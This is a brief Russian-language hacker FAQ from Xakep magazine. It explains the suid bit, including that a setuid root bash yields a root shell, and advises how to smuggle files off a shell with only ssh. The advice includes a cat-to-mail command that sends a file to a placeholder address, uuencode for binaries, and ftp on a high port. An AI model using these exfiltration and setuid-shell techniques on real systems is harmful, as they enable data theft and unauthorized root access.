|
Hack FAQ VEiDER Xakep, номер #051, стр. 051-052-3 Q: Что такое suid bit и зачем он нужен? A: Надо отметить, что помимо uid'а и gid'а, существуют euid и egid. Они определяют права, с которыми запущено приложение. При выставлении suid бита, приложение будет запущено с правами владельца файла. Например, если рут сделает программе bash владельца root:wheel, а потом chmod +s bash, то при запуске bash мы получим root шелл. Многим сетевым сервисам необходимо устанавливать suid'ный бит, так как они должны обращаться к портам <1024. Также бывает, что на некоторых разделах диска нельзя создавать suid'ные файлы. Это связано с тем, что данный раздел был смонтирован с опцией nosuid. Q: У меня проблема. Мне надо с шелла утянуть файл, а там нет никаких сервисов кроме ssh'а. Как мне быть? A: Помимо стандартных способов, вроде ftp на себя, а потом put, можно попробовать отправить файл по почте. Если это текстовый файл, то вводи такую команду: cat /filename|mail mymail@xakeph0st.xakepd0main.org. Это один из самых простых методов. Можно таким же образом пересылать и бинарные файлы, просто предварительно воспользуйся uuencode. Другой способ - попробовать запустить сервис ftp на порт выше 1024 и пользоваться им. |